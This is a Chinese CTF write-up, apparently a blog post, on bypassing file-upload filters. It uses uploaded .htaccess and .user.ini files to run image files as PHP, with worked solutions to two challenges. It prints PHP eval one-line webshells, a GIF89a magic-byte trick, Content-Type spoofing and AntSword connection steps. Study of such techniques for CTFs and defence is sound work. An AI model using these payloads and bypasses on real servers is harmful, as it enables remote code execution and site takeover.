文件上传之.htaccess和.user.ini


前言

提示:最近写文件上传的题目经常碰到关于.htaccess和.user.ini文件的使用问题,我不了解Apache和php配置文件,所以想借着这次机会好好着重了解一些这两个配置文件

一、基本描述

1、.htaccess。

百科对于.htaccess的解读是:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell

2、.user.ini

- (1)服务器脚本语言为PHP
- (2)对应目录下面有可执行的php文件
- (3)服务器使用CGI/FastCGI模式

.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
这里我们不深究它们的具体配置(只用自己会用到的),.user.ini文件同样可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。

二、配置与使用

这里直接搬用了其他老师傅的一些构造方法,这里就稍作解读。
1、.htaccess文件

AddType application/x-httpd-php .png   //png文件解析为php文件

意思是说让Apache解析.png文件时也能执行php代码,如果.png文件中存在php代码时会被运行(同样可以把后面的.png改成任意后缀,原理一样)

<FilesMatch "1.jpg"> 
SetHandler application/x-httpd-php 
</FilesMatch>

这里是有针对性的解析php文件,将1.jpg解析成php文件(后缀也可更改),当然这种配置代码还有很多变式:

SetHandler application/x-httpd-php
<IfModule mime_module>
SetHandler application/x-httpd-php   
</IfModule>

等等。。。。然后使用蚁剑访问URL+文件上传路径+文件名,即可连接
2、.user.ini文件
相对简短一些:

auto_prepend_file=a.jpg //第一种
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg  //在页面底部加载文件

上传成功后,要访问本目录下的php文件进行文件包含才能getshell,蚁剑无法直接连接,这需要我们手动传入实现代码执行(我们结合题目学一些常用的函数和命令)

三、实战

1、[SUCTF 2019]CheckIn

打开题目环境:
在这里插入图片描述
是一个文件上传类型的题目,预测应该有绕过。开始进行初步测试。
在这里插入图片描述
提示文件头出现<? 说明我们的一句话木马不能出现<?再看看文件类型过滤
在这里插入图片描述

现在我们改变我们的一句话木马形式

<script language='php'>
@eval($_POST['pass']);
</script>

再次测试
在这里插入图片描述
我上传的内容是一个gif文件,它提示我不是图像,这里存在一个对图像的过滤。现在检查一下过滤情况:

  • 首先是文件内容的过滤,不允许出现<?
  • 然后文件后缀的过滤
  • 最后满足这两项还必须是图像,更改后缀无效。

我们已经满足前两个,还剩最后一个,我们可以选择上传图片马,也可以添加幻数头字节。但是图片马必须要有文件包含漏洞或者改文件解析漏洞才能利用。我们发现可以上传.user.ini文件,我们可以通过.user.ini文件利用图片马:

GIF89a
auto_prepend_file=a.jpg

上传成功后访问index.php既可包含我们上传的图片马


在这里插入图片描述
我们的.ini.user文件以及图片马a.jpg已经上传完毕,接下来使用蚁剑连接。
在这里插入图片描述

2、[MRCTF2020]你传你🐎呢

在这里插入图片描述
打开环境看到文件上传,底用反应是上传webshell,上传web.php

<?php @eval($_POST['cmd']); ?>

在这里插入图片描述
发现肯定有过滤,需要绕过,于是使用后缀名字典看看是黑名单还是白名单,过滤了多少。
在这里插入图片描述
发现常见的phg后缀都被ban了,但是发现.htaccess文件能上传,并且回显文件位置。
在这里插入图片描述
于是利用.htaccess文件修改配置信息,然后使用图片马getshell。
在这里插入图片描述
这里还有一个检测是Content-Type检测,只需要改成image/jepg即可,然后上传图片马。
在这里插入图片描述
getshell

总结

1.使用后缀字典进行黑名单或者白名单检测
2.巧用.user.ini和.htaccess
3.Content-Type绕过
4.图片马(幻术字节头)的使用

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值